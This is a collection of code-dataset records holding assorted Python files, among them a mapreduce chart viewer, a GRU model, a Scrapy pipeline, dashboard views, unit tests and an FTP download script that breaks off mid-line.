google.appengine.ext.webapp.util import run_wsgi_app\r\n\r\nfrom mapreduce import operation as op\r\nfrom mapreduce import control\r\nfrom mapreduce.lib.graphy.backends import google_chart_api\r\n\r\nimport markup\r\nfrom markup import oneliner as e\r\n\r\nimport mapreduce\r\n\r\n## different counters\r\n\r\ntz = datetime.timedelta(hours=-4)\r\n\r\ndef stats_plays(entity):\r\n yield op.counters.Increment(\"%s-%02d\" % (entity.draw_number, entity.previous_plays))\r\n\r\ndef stats_plays_daytime(entity):\r\n tzdatetime = entity.created_at + tz\r\n yield op.counters.Increment(\"%s-%s\" % (tzdatetime.strftime('%Y/%m/%d'), tzdatetime.strftime('%H')))\r\n\r\ndef stats_plays_day(entity):\r\n tzdatetime = entity.created_at + tz\r\n yield op.counters.Increment(\"%s-%s\" % (tzdatetime.strftime('%Y/%m/%d'), \"%02d\" % entity.previous_plays))\r\n\r\ndef stats_from_other_models(entity):\r\n import models\r\n other = models.OtherModel.get_by_uid(entity.uid)\r\n if not other:\r\n return\r\n yield op.counters.Increment(\"%s-%s\" % (\"%02d\" % other.plays, \"%02d\" % other.vouchers))\r\n\r\n## end counters\r\n\r\n## internal models for datastore\r\n\r\nclass MrGraph(db.Model):\r\n created_at = db.DateTimeProperty(auto_now_add=True)\r\n updated_at = db.DateTimeProperty(auto_now=True)\r\n version = db.IntegerProperty(default=0)\r\n mr_key = db.StringProperty()\r\n entity_kind = db.StringProperty()\r\n handler = db.StringProperty()\r\n \r\n## end internal models\r\n\r\n## webapp handlers\r\n\r\nclass List(webapp.RequestHandler):\r\n \r\n def get(self):\r\n graphs = MrGraph.all().order(\"-created_at\").fetch(10)\r\n page = markup.page()\r\n page.init(title=\"Mr Graph\")\r\n page.h3(\"Graphs\")\r\n page.table()\r\n for graph in graphs:\r\n page.tr()\r\n page.td([e.a(\"%s\" % (graph.mr_key), href=\"view?k=%s\" % graph.mr_key), graph.created_at, graph.entity_kind, graph.handler])\r\n page.tr.close()\r\n page.table.close()\r\n page.h3(\"Actions\")\r\n page.ul()\r\n page.li(e.a(\"start map reduce [%s] [%s]\" % (Do.entity_kind, Do.handler), href=\"do\"))\r\n page.ul.close()\r\n self.response.out.write(page)\r\n\r\nclass View(webapp.RequestHandler):\r\n\r\n def filter_cols(self, map, xlabels, col_labels):\r\n sumys = {}\r\n for i in col_labels:\r\n sumys[i] = sum([map[i].get(k, 0) for k in xlabels])\r\n col_max = max(sumys.values())\r\n col_labels = [y for y in col_labels if sumys[y] * 100 > col_max]\r\n return col_labels, col_max\r\n\r\n def make_chart(self, map, xlabels, col_labels, col_max):\r\n chart = google_chart_api.BarChart()\r\n chart.stacked = True\r\n chart.vertical = False\r\n chart.left.labels = col_labels\r\n chart.bottom.min = 0\r\n grid_spacing = max(1, 10 ** int((math.log(col_max, 10))) / 2)\r\n #chart.bottom.grid_spacing = grid_spacing\r\n chart.bottom.label_gridlines = True\r\n chart.bottom.labels = range(0, col_max+1, grid_spacing)\r\n chart.bottom.label_positions = chart.bottom.labels\r\n colors = ['4684EE', 'DC3912', 'FF9900', '008000', '666666', '4942CC', 'CB4AC5', 'D6AE00', '336699', 'DD4477']\r\n for i, k in enumerate(xlabels):\r\n chart.AddBars([map[y].get(k, None) for y in col_labels], label=\"%s\" % k, color=colors[i % len(colors)])\r\n return chart\r\n\r\n def get(self):\r\n k = self.request.get(\"k\")\r\n g = mapreduce.model.MapreduceState.get_by_key_name(k)\r\n counters = g.counters_map.counters\r\n if len(counters)<=1:\r\n self.response.out.write(\"not yet started\")\r\n return\r\n page = markup.page()\r\n page.init(title=\"Mr Graph\")\r\n page.style(\"td{text-align:right;}\")\r\n \r\n map = {}\r\n xls = Set()\r\n for c, v in sorted(counters.items(), key=lambda t: t[0]):\r\n if \"mapper_calls\" == c:\r\n continue\r\n cs = c.split('-')\r\n if 1 == len(cs):\r\n cs.append('-)')\r\n values = map.setdefault(cs[0], {})\r\n values[cs[1]] = v\r\n xls.add(cs[1])\r\n xlabels = sorted(list(xls))\r\n col_labels = sorted(map.keys())\r\n\r\n col_labels, col_max = self.filter_cols(map, xlabels, col_labels)\r\n \r\n chart= self.make_chart(map, xlabels, col_labels, col_max)\r\n \r\n page.img(src=chart.display.Url(500,600))\r\n page.table()\r\n page.tr()\r\n page.th([\"-\"] + [\"%s\" % k for k in xlabels])\r\n page.tr.close()\r\n for i in col_labels:\r\n page.tr()\r\n page.th([\"%s\" % i])\r\n page.td([map[i].get(k, None) for k in xlabels])\r\n page.tr.close()\r\n page.table.close()\r\n page.a(\"back\", href=\"index\")\r\n self.response.out.write(page)\r\n \r\n\r\nclass Do(webapp.RequestHandler):\r\n \r\n handler = \"mr_graph.stats_plays_daytime\"\r\n entity_kind = \"models.LotoPlay\"\r\n\r\n def get(self):\r\n mr_key = control.start_map(\r\n name=\"graph\", \r\n handler_spec=Do.handler, \r\n reader_spec=\"mapreduce.input_readers.DatastoreInputReader\", \r\n reader_parameters={\"entity_kind\":Do.entity_kind},\r\n shard_count=1,\r\n mapreduce_parameters={}, \r\n )\r\n MrGraph(mr_key=mr_key, handler=Do.handler, entity_kind=Do.entity_kind).put()\r\n page = markup.page()\r\n page.init(title=\"Mr Graph\")\r\n page.p(\"[started %s]\" % mr_key )\r\n page.a(\"back\", href=\"index\")\r\n self.response.out.write(page)\r\n\r\ndef application(): \r\n application = webapp.WSGIApplication([\r\n ('.*/', List),\r\n ('.*/index', List), \r\n ('.*/do', Do),\r\n ('.*/view', View),\r\n ], debug=True)\r\n return application\r\n\r\n\r\ndef main():\r\n run_wsgi_app(application())\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n## end webapp handlers","sub_path":"mrgraph/src/mr_graph.py","file_name":"mr_graph.py","file_ext":"py","file_size_in_byte":6669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"213932275","text":"from torch import nn\nimport torch\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\nclass GRU(nn.Module):\n def __init__(self):\n super().__init__()\n self.gru = nn.GRU(240, 128, 1, batch_first=True)\n self.fc3 = nn.Linear(128, 6)\n self.drop = nn.Dropout(0.5)\n\n def forward(self, x):\n self.gru.flatten_parameters()\n x = x.reshape((x.shape[0], 240, 15))\n x = x.transpose(1, 2)\n out, _ = self.gru(x)\n out = self.drop(out[:, -1, :])\n out = self.fc3(out)\n return out\n\n def __str__(self):\n return 'GRU'\n","sub_path":"learning/rnn/structures.py","file_name":"structures.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"540376700","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\nfrom scrapy import log\nimport json\nimport sqlite3\nimport md5\n\nclass SmzdmPipeline(object):\n\n def __init__(self):\n webpage_database_path = \"../../../data/smzdm\"\n self.conn = sqlite3.connect(webpage_database_path)\n self.conn.commit()\n self.webpage_database_name = webpage_database_path.split(\"/\")[-1]\n # Drop table\n # self.c.execute(\"DROP TABLE %s\" % (self.webpage_database_name))\n # Create table\n self.c = self.conn.cursor()\n self.c.execute('''CREATE TABLE IF NOT EXISTS %s (url text unique, json text)''' % (self.webpage_database_name))\n self.json_file = open(\"../../../data/smzdm.json\", \"w\")\n\n def process_item(self, item, spider):\n log.msg(item.__class__.__name__)\n line = json.dumps(dict(item)) + \"\\n\"\n self.json_file.write(line)\n self.c.execute(\"INSERT OR REPLACE INTO %s (url, json) VALUES(?, ?)\" % self.webpage_database_name, (item[\"url\"], json.dumps(dict(item))))\n self.conn.commit()\n return item\n # img_md5_list = \"\"\n # for img_url in item[\"image_urls\"]:\n # img_md5_list += md5.new(img_url).hexdigest() + \"\\t\"\n # img_md5_list= img_md5_list.strip()\n # if item.__class__.__name__ == \"SmzdmItem\":\n # log.msg(\"Smzdm Item pipeline dbg: [%s] [%s] [%s] [%s] [%s]\" % (item[\"title\"], item[\"price\"], item[\"url\"], item[\"description\"], item[\"image_urls\"]) , level=log.INFO, spider=spider)\n # log.msg(\"Smzdm Item pipeline: %s\" % (line) , level=log.INFO, spider=spider)\n # self.c.execute(\"INSERT OR REPLACE INTO %s (url, title, description, price, img_md5_list)\\\n # VALUES(?, ?, ?, ?, ?)\" % self.webpage_database_name, (item['url'], item['title'], item['description'], item[\"price\"], img_md5_list))\n # self.conn.commit()\n # return item\n # elif item.__class__.__name__ == \"ShoppingItem\":\n # log.msg(\"Shopping Item pipeline dbg: [%s] [%s] [%s] [%s] [%s] [%s]\" % (item[\"title\"], item[\"price\"], item[\"url\"], item[\"description\"], item[\"image_urls\"], item[\"referer\"]) , level=log.INFO, spider=spider)\n # log.msg(\"Shopping Item pipeline: %s\" % (line) , level=log.INFO, spider=spider)\n # self.c.execute(\"INSERT OR REPLACE INTO %s (url, title, description, price, referer, img_md5_list)\\\n # VALUES(?, ?, ?, ?, ?, ?)\" % self.webpage_database_name, (item['url'], item['title'], item['description'], item[\"price\"], item[\"referer\"], img_md5_list))\n # self.conn.commit()\n # return item\n\n","sub_path":"scrapy/bbzdm/bbzdm/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"218415619","text":"from nmigen import *\n\nfrom boneless.gateware.core_fsm import BonelessFSMTestbench\nfrom nmigen_boards.tinyfpga_bx import TinyFPGABXPlatform \n\nclass boneless_core(Elaboratable):\n def elaborate(self, platform):\n clk16 = platform.request(\"clk16\", 0)\n user_led = platform.request(\"user_led\", 0)\n\n m = Module()\n m.domains.sync = ClockDomain()\n m.d.comb += ClockSignal().eq(clk16.i)\n \n cpu = BonelessFSMTestbench(has_pins=True)\n\n m.d.sync += user_led.eq(cpu.pins[0])\n m.submodules.cpu = cpu\n\n return m\n\nif __name__ == \"__main__\":\n platform = TinyFPGABXPlatform()\n platform.build(boneless_core(),do_program=True,build_dir='boneless')\n\n","sub_path":"Archive/vanishing/bonel.py","file_name":"bonel.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"608761641","text":"def linha(tam=40):\n return '\\033[m-'*tam\n\n\ndef cabeçalho(texto):\n print(linha())\n print(texto.center(40))\n print(linha())\n\n\ndef listaOpções(lista):\n for k,v in enumerate(lista):\n print(f'\\033[33m{k+1} - \\033[m',end='') \n print(f'\\033[34m{v}\\033[m')\n print(linha())\n\n\ndef lerOpção(texto):\n while True:\n try:\n n = int(input(f'\\033[33m{texto}\\033[32m'))\n except:\n print('\\033[31mERRO: Por favor, digite um número inteiro válido.\\033[m')\n else:\n if n not in (1,2,3):\n print('\\033[31mERRO: Por favor, digite uma opção válida!\\033[m')\n else:\n break\n return n\n","sub_path":"exercicios_Youtube/ex115/lib/menu/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"232773796","text":"from student import Student\nfrom worker import Worker\n\n\nstu = Student(\"tom\",19,12312)\nprint(stu.name,stu.age)\nprint(stu.stuId)\nstu.run()\n\nwor = Worker(\"lihuaqi\",20)\nprint(wor.name,wor.age)\n\nwor.eat('apple')","sub_path":"day11/10-单继承的实现/单继承的实现.py","file_name":"单继承的实现.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"267997538","text":"#! /usr/bin/python3\n#File: 9.py\n#Author: Lars Onselius\n#Description: Find the Pythoragian triplet whoose sum is 1000\n#Arguments: 0\n\n#Find all numbers that have a sum that equals to 1000\ndef sum_is_thousand():\n for a in range(998):\n for b in range(a, 997-a):\n for c in range(b, 996):\n if a + b + c == 1000:\n if a * a + b * b == c * c:\n if a > 0 and b > 0:\n print(\"Boom: Found it!\")\n return [a, b, c]\n\nanswer = sum_is_thousand()\nprint(answer)\nprint(answer[0] * answer[1] * answer[2])\n","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"415222881","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport os\nfrom typing import Type\n\nfrom diecast.component import Component\n\n\nclass Settings(Component):\n\n DATABASE_URI: str = None\n DEBUG: bool = False\n LOG_LEVEL: int = logging.INFO\n SENTRY_TRANSPORT: str = 'HTTPTransport'\n SENTRY_URL: str = None\n\n @classmethod\n def init(cls: Type[Component]):\n\n this = Settings()\n\n # Core application settings\n this.DATABASE_URI = os.getenv('DB_URI', 'sqlite:///:memory:')\n this.DEBUG = os.getenv('DEBUG', 'false').lower() == 'true'\n this.LOG_LEVEL = logging._nameToLevel.get(\n os.getenv('LOG_LEVEL', 'INFO').upper(),\n logging.INFO,\n )\n\n # Sentry settings\n this.SENTRY_TRANSPORT = os.getenv('SENTRY_TRANSPORT', 'HTTPTransport')\n this.SENTRY_URL = os.getenv('SENTRY_URL', None)\n\n return this\n\n @property\n def environment(self):\n ''' Assume the environment based on the DEBUG flag.\n '''\n\n if self.DEBUG:\n return 'develop'\n else:\n return 'production'\n\n\ncomponent = {\n 'cls': Settings,\n 'init': Settings.init,\n 'persist': True,\n}\n","sub_path":"src/tubedlapi/components/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"88631436","text":"from CGvsPhoto import Model\nimport os\n\ndef main():\n \n # Fix Config so that it uses the current users\n # working directory\n cwd = os.getcwd()\n config = open('config.ini', 'r+')\n config.truncate(0) # need '0' when using r+\n config.write('[Config1]\\n')\n config.write('dir_ckpt = ' + cwd + '/weights/\\n')\n config.write('dir_summaries = ' + cwd + '/summaries/\\n')\n config.write('dir_visualization = ' + cwd + '/visualization/\\n')\n config.close()\n\n\n # Enter the database you are working with\n database = input(\"Enter your database (Don't forget to add quotes ;-): \")\n assert isinstance(database, str)\n database = database + '/'\n patched_database = 'Patched' + database\n\n # If yes model will generate new weights\n retrain = input(\"Should we retrain the model? Enter 1/0: \")\n assert isinstance(retrain, int)\n \n # This will allow the model to use CUDA to train\n useGPU = input(\"Should we use the GPU? Enter 1/0: \")\n assert isinstance(useGPU, int)\n \n # If yes, use the updated version of the model used by our project\n newVersion = input(\"Should we use the new version of the model? Enter 1/0: \")\n assert isinstance(newVersion, int)\n\n\n # Create the model based on the *Patched* data\n print('Creating Model.....')\n model = Model(database_path = patched_database, image_size = 100,\n config = 'Config1', filters = [80, 96, 64], #filters = [8,16,32,64,128], #filters = [64, 128],\n feature_extractor = 'Stats', batch_size = 50,\n using_GPU = useGPU,\n new_version = newVersion)\n \n if retrain > 0:\n print('Training Model....')\n model.train(nb_train_batch = 30000,\n nb_test_batch = 80,\n nb_validation_batch = 40)\n\n \n # You must test on the FULL IMAGE version of the database\n print('Testing Model...')\n test_data_path = database + '/test/'\n model.test_total_images(test_data_path = test_data_path,\n nb_images = 720, decision_rule = 'weighted_vote')\n\n\nif __name__== \"__main__\":\n main()\n","sub_path":"modelrun.py","file_name":"modelrun.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"607683673","text":"import cv2\nimport numpy as np\n\n\ndef center_crop(image):\n \"\"\"\n extract the square image from rectangle src image. The size of the square equals to the short side.\n :param image: src rectangle image\n :return: square image\n \"\"\"\n\n if image.shape[0] == image.shape[1]:\n return image\n elif image.shape[0] < image.shape[1]:\n offset = (image.shape[1]-image.shape[0])/2\n return image[:, offset:offset+image.shape[0]]\n else:\n offset = (image.shape[0]-image.shape[1])/2\n return image[offset:offset+image.shape[1], : ]\n\ndef ratio_protected_resize(image, base_size):\n \"\"\"\n resize the image with constant size ratio\n :param image: src image\n :param base_size: The size the shorter size being resized to\n :return: resized image\n \"\"\"\n if image.shape[0] == image.shape[1]:\n return cv2.resize(image, (base_size, base_size))\n elif image.shape[0] < image.shape[1]:\n return cv2.resize(image, (image.shape[1]*base_size/image.shape[0], base_size))\n else:\n return cv2.resize(image, (base_size, image.shape[1]*base_size/image.shape[0]))\n\ndef center_resize(image, base_size):\n \"\"\"\n resizing an image with protected size ratio and crop the central square image\n :param image: src image\n :param base_size: square size\n :return square image\n \"\"\"\n resized_image = ratio_protected_resize(image, base_size)\n return center_crop(resized_image)\n\ndef _generate_grid_axis(end_t, grid_size, overlap_size):\n start_pos = 0\n end_pos = grid_size\n\n start = [start_pos]\n end = [end_pos]\n\n while end_pos < end_t:\n start_pos = end_pos - overlap_size\n end_pos = start_pos + grid_size\n start.append(start_pos)\n end.append(end_pos)\n\n start = start[:-1]\n end = end[:-1]\n start.append(end_t-1-grid_size)\n end.append(end_t-1)\n\n return start, end\n\ndef grid_image(image, grid_size=512, overlap=0.15):\n overlap_size = int(grid_size*overlap)\n\n start_y, end_y = _generate_grid_axis(image.shape[0], grid_size, overlap_size)\n start_x, end_x = _generate_grid_axis(image.shape[1], grid_size, overlap_size)\n return start_x, end_x, start_y, end_y\n","sub_path":"JLib/resize_image.py","file_name":"resize_image.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"405089933","text":"import unittest\nimport numpy as np\n\nfrom rlcard.envs.mahjong import MahjongEnv as Env\nfrom rlcard.agents.random_agent import RandomAgent\n\nclass TestMahjongEnv(unittest.TestCase):\n\n def test_init_game_and_extract_state(self):\n env = Env()\n state, _ = env.init_game()\n self.assertEqual(state['obs'].size, 816)\n\n def test_get_legal_actions(self):\n env = Env()\n env.set_agents([RandomAgent(37), RandomAgent(37), RandomAgent(37), RandomAgent(37)])\n env.init_game()\n legal_actions = env.get_legal_actions()\n for legal_action in legal_actions:\n self.assertLessEqual(legal_action, 37)\n\n def test_step(self):\n env = Env()\n state, _ = env.init_game()\n action = np.random.choice(state['legal_actions'])\n _, player_id = env.step(action)\n self.assertEqual(player_id, env.game.round.current_player)\n\n def test_step_back(self):\n env = Env(allow_step_back=True)\n state, player_id = env.init_game()\n action = np.random.choice(state['legal_actions'])\n env.step(action)\n env.step_back()\n self.assertEqual(env.game.round.current_player, player_id)\n\n env = Env(allow_step_back=False)\n state, player_id = env.init_game()\n action = np.random.choice(state['legal_actions'])\n env.step(action)\n # env.step_back()\n self.assertRaises(Exception, env.step_back)\n\n def test_run(self):\n env = Env()\n env.set_agents([RandomAgent(37), RandomAgent(37), RandomAgent(37), RandomAgent(37)])\n trajectories, payoffs = env.run(is_training=False)\n self.assertEqual(len(trajectories), 4)\n total = 0\n for payoff in payoffs:\n total += payoff\n self.assertEqual(total, 0)\n trajectories, payoffs = env.run(is_training=True, seed=1)\n total = 0\n for payoff in payoffs:\n total += payoff\n self.assertEqual(total, 0)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/envs/test_mahjong.py","file_name":"test_mahjong.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"224058773","text":"#\n# Copyright ZTE\n# Daisy Tools Dashboard\n#\nimport json\n\nfrom django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom horizon import forms\nfrom horizon import messages\nfrom horizon import tables\nfrom horizon import exceptions\n\nfrom openstack_dashboard import api\nfrom openstack_dashboard.dashboards.environment.cluster import tables \\\n as cluster_tables\nfrom openstack_dashboard.dashboards.environment.deploy import wizard_cache\n\nimport logging\nLOG = logging.getLogger(__name__)\n\n\nclass ClusterView(tables.DataTableView):\n table_class = cluster_tables.HostsTable\n template_name = \"environment/cluster/index.html\"\n\n def get_clusters(self):\n clusters = api.daisy.cluster_list(self.request)\n cluster_lists = [c for c in clusters]\n return cluster_lists\n\n def get_current_cluster(self, clusters, current_id):\n for c in clusters:\n if c.id == current_id:\n return c.name\n return \"\"\n\n def count_deploy_info(self, host_list):\n data = {\"success_host_num\": 0,\n \"on_going_host_num\": 0,\n \"on_uninstalling_host_num\": 0,\n \"on_updating_host_num\": 0,\n \"undeploy_host_num\": 0,\n \"failed_host_num\": 0}\n\n for host in host_list:\n if hasattr(host, 'role_status'):\n if host.role_status == \"active\" and host.os_status == \"active\":\n data[\"success_host_num\"] += 1\n elif host.role_status == \"installing\" \\\n or host.os_status == \"installing\":\n data[\"on_going_host_num\"] += 1\n elif host.role_status == \"uninstalling\":\n data[\"on_uninstalling_host_num\"] += 1\n elif host.role_status == \"updating\" \\\n or host.os_status == \"updating\":\n data[\"on_updating_host_num\"] += 1\n elif host.os_status == \"init\":\n data[\"undeploy_host_num\"] += 1\n else:\n data[\"failed_host_num\"] += 1\n else:\n if host.os_status == \"active\":\n data[\"success_host_num\"] += 1\n else:\n data[\"failed_host_num\"] += 1\n\n LOG.info(\"deploy info dbg: data=%s\" % data)\n return data\n\n def get_context_data(self, **kwargs):\n context = super(ClusterView, self).get_context_data(**kwargs)\n context['clusters'] = self.get_clusters()\n context[\"pre_url\"] = \"/dashboard/environment/\"\n context[\"cluster_id\"] = self.kwargs[\"cluster_id\"]\n context[\"current_cluster\"] = \\\n self.get_current_cluster(context['clusters'],\n context[\"cluster_id\"])\n\n qp = {\"cluster_id\": context[\"cluster_id\"]}\n host_list = api.daisy.host_list(self.request, filters=qp)\n context[\"data\"] = self.count_deploy_info(host_list)\n return context\n\n def get_data(self):\n qp = {\"cluster_id\": self.kwargs[\"cluster_id\"]}\n host_list = api.daisy.host_list(self.request, filters=qp)\n\n host_status_list = []\n host_manage_ip = \"\"\n role_messages = \"\"\n\n for host in host_list:\n if host.os_progress is None:\n host.os_progress = 0\n if host.messages is None:\n host.messages = \"\"\n if hasattr(host, \"role_messages\"):\n role_messages = host.role_messages\n\n host_detail = api.daisy.host_get(self.request, host.id)\n if hasattr(host_detail, \"interfaces\"):\n for nic in host_detail.interfaces:\n nic_assigned_networks = nic['assigned_networks']\n for network in nic_assigned_networks:\n if network[\"name\"] == 'MANAGEMENT':\n host_manage_ip = network[\"ip\"]\n else:\n host_manage_ip = \"\"\n\n if not hasattr(host, 'role_progress'):\n host.role_progress = 0\n\n if not hasattr(host, 'role_status'):\n host.role_status = \"\"\n host_status_list.append({\n \"host_name\": host.name,\n \"host_manager_ip\": host_manage_ip,\n \"host_os_progress\": host.os_progress,\n \"host_os_status\": host.os_status,\n \"host_role_progress\": host.role_progress,\n \"host_role_status\": host.role_status,\n \"host_messages\": host.messages,\n \"role_messages\": role_messages,\n \"host_id\": host.id\n })\n\n LOG.info(\"get_data:host_status_list=%s\" % host_status_list)\n return host_status_list\n\n\n@csrf_exempt\ndef ClusterDelete(request):\n response = HttpResponse()\n data = json.loads(request.body)\n msg = ('Cluster delete request.body::::::: %s') % request.body\n LOG.info(msg)\n\n cluster_info = data[\"cluster_info\"]\n try:\n api.daisy.cluster_delete(request,\n cluster_info[\"cluster_id\"])\n except Exception:\n exceptions.handle(request, \"Delete failed!\")\n response.status_code = 500\n return response\n\n response.status_code = 200\n return response\n\n\n@csrf_exempt\ndef update_badge(request, cluster_id):\n data = {\"success_host_num\": 0,\n \"on_going_host_num\": 0,\n \"on_uninstalling_host_num\": 0,\n \"on_updating_host_num\": 0,\n \"undeploy_host_num\": 0,\n \"failed_host_num\": 0}\n try:\n qp = {\"cluster_id\": cluster_id}\n host_list = api.daisy.host_list(request, filters=qp)\n for host in host_list:\n if hasattr(host, 'role_status'):\n if host.role_status == \"active\" and host.os_status == \"active\":\n data[\"success_host_num\"] += 1\n elif host.role_status == \"installing\" \\\n or host.os_status == \"installing\":\n data[\"on_going_host_num\"] += 1\n elif host.role_status == \"uninstalling\":\n data[\"on_uninstalling_host_num\"] += 1\n elif host.role_status == \"updating\" \\\n or host.os_status == \"updating\":\n data[\"on_updating_host_num\"] += 1\n elif host.os_status == \"init\":\n data[\"undeploy_host_num\"] += 1\n else:\n data[\"failed_host_num\"] += 1\n else:\n if host.os_status == \"active\":\n data[\"success_host_num\"] += 1\n else:\n data[\"failed_host_num\"] += 1\n response = HttpResponse(json.dumps(data),\n content_type=\"application/json\")\n response.status_code = 200\n return response\n except Exception as e:\n LOG.error(\"wmh dbg: e type = %s\" % type(e))\n exceptions.handle(request, \"update badge failed!\")\n response = HttpResponse()\n response.status_code = 500\n return response\n\n\n@csrf_exempt\ndef upgrade_cluster(request, cluster_id):\n try:\n api.daisy.upgrade_cluster(request, cluster_id)\n response = HttpResponse()\n response.status_code = 200\n return response\n except Exception as e:\n LOG.error(\"upgrade_cluster raise exceptions: %s\" % e)\n response = HttpResponse()\n response.status_code = 200\n return response\n\n\ndef uninstall_version(request, cluster_id):\n try:\n api.daisy.uninstall_cluster(request, cluster_id)\n response = HttpResponse()\n response.status_code = 200\n wizard_cache.clean_cache(cluster_id)\n return response\n except Exception as e:\n LOG.error(\"uninstall_version raise exceptions: %s\" % e)\n response = HttpResponse()\n response.status_code = 200\n return response\n\n\nclass GenerateHostTemplateForm(forms.SelfHandlingForm):\n name = forms.CharField(label=_(\"Name\"), required=True)\n description = forms.CharField(widget=forms.widgets.Textarea(\n attrs={'rows': 4}),\n label=_(\"Description\"),\n required=False)\n\n def clean(self):\n cleaned_data = super(GenerateHostTemplateForm, self).clean()\n return cleaned_data\n\n def handle(self, request, data):\n cluster_id = self.initial['cluster_id']\n host_id = self.initial['host_id']\n try:\n cluster = api.daisy.cluster_get(request, cluster_id)\n param = {\n \"cluster_name\": cluster.name,\n \"host_template_name\": data['name'],\n \"host_id\": host_id,\n \"description\": data[\"description\"]\n }\n api.daisy.host_to_template(request, **param)\n message = _('Generate template: \"%s\"') % data['name']\n messages.success(request, message)\n return True\n except Exception:\n redirect = reverse('horizon:environment:cluster:overview',\n args=[cluster_id])\n exceptions.handle(request,\n _('Unable to generate template.'),\n redirect=redirect)\n\n\nclass GenerateHostTemplateView(forms.ModalFormView):\n form_class = GenerateHostTemplateForm\n modal_header = _(\"Generate Host Template\")\n submit_label = _(\"Generate Host Template\")\n template_name = 'environment/cluster/host_template.html'\n submit_url = \"horizon:environment:cluster:generate_host_template\"\n page_title = _(\"Generate Host Template\")\n\n def get_context_data(self, **kwargs):\n context = super(GenerateHostTemplateView, self).\\\n get_context_data(**kwargs)\n cluster_id = self.kwargs[\"cluster_id\"]\n host_id = self.kwargs[\"host_id\"]\n context['submit_url'] = \\\n reverse(self.submit_url, args=(cluster_id, host_id))\n return context\n\n def get_success_url(self):\n cluster_id = self.kwargs[\"cluster_id\"]\n return reverse('horizon:environment:cluster:overview',\n args=[cluster_id])\n\n def get_initial(self):\n cluster_id = self.kwargs[\"cluster_id\"]\n host_id = self.kwargs[\"host_id\"]\n return {'cluster_id': cluster_id,\n 'host_id': host_id}\n","sub_path":"code/horizon/openstack_dashboard/dashboards/environment/cluster/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"296878739","text":"files = {\n '/etc/collectd.d/conf.d/iostat.conf': {\n 'source': \"etc/collectd.d/conf.d/iostat.conf\",\n 'owner': \"root\",\n 'group': \"root\",\n 'mode': \"0644\",\n \"content_type\": \"text\",\n 'triggers': [\n \"svc_systemd:collectd:restart\",\n ],\n },\n '/etc/collectd.d/types/iostat.db': {\n 'source': \"etc/collectd.d/types/iostat.db\",\n 'owner': \"root\",\n 'group': \"root\",\n 'mode': \"0644\",\n \"content_type\": \"text\",\n 'triggers': [\n \"svc_systemd:collectd:restart\",\n ],\n },\n '/usr/lib64/collectd/pluginspython/collectd_iostat_python.py': {\n 'source': \"usr/lib64/collectd/plugins/python/collectd_iostat_python.py\",\n 'owner': \"root\",\n 'group': \"root\",\n 'mode': \"0744\",\n \"content_type\": \"text\",\n 'triggers': [\n \"svc_systemd:collectd:restart\",\n ],\n },\n}\n\ndirectories = {\n \"/usr/lib64/collectd/plugins\": {\n 'mode': \"0775\",\n 'owner': \"root\",\n 'group': \"root\",\n },\n}","sub_path":"bundles/collectd-iostat/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"543211990","text":"#!/usr/bin/python\n# -*- coding:gb2312 -*-\nimport os\nimport datetime\n\n# 例:FTP编程 \nfrom ftplib import FTP \n\n\n# ------------------- 变量定义 ---------------\n# \nftp = FTP() \nip = '192.168.0.16'\ntimeout = 30 \nport = 21\nusername = 'oracle'\npwd = 'oracle'\n\n\n# ------------------- 程序主体 ---------------\n# FTP 登录\nftp.connect(ip, port, timeout) # 连接FTP服务器 \nftp.login(username, pwd) # 登录 \nprint (ftp.getwelcome()) # 获得欢迎信息\n\n\n# FTP 路径调整(下载 与 存到本地目录 的进入)\nftp.cwd('/data') # 设置FTP路径\nos.chdir('/home/liangm/python/ftp/download_files')\t\t# 改变本地目录\n\n\n# ===========================\n# 下载 count_file.sh\n# ===========================\n\n#bufsize=1024 #设置的缓冲区大小\n\nf = open('count_file.sh','wb') # 打开要保存文件\nftp.retrbinary('RETR ' + 'count_file.sh', f.write, 1024) \t# 保存FTP上的文件\n\n# 一条命令\n#file1 = 'count_file.sh'\n#f.retrbinary(\"RETR %s\" % file1, 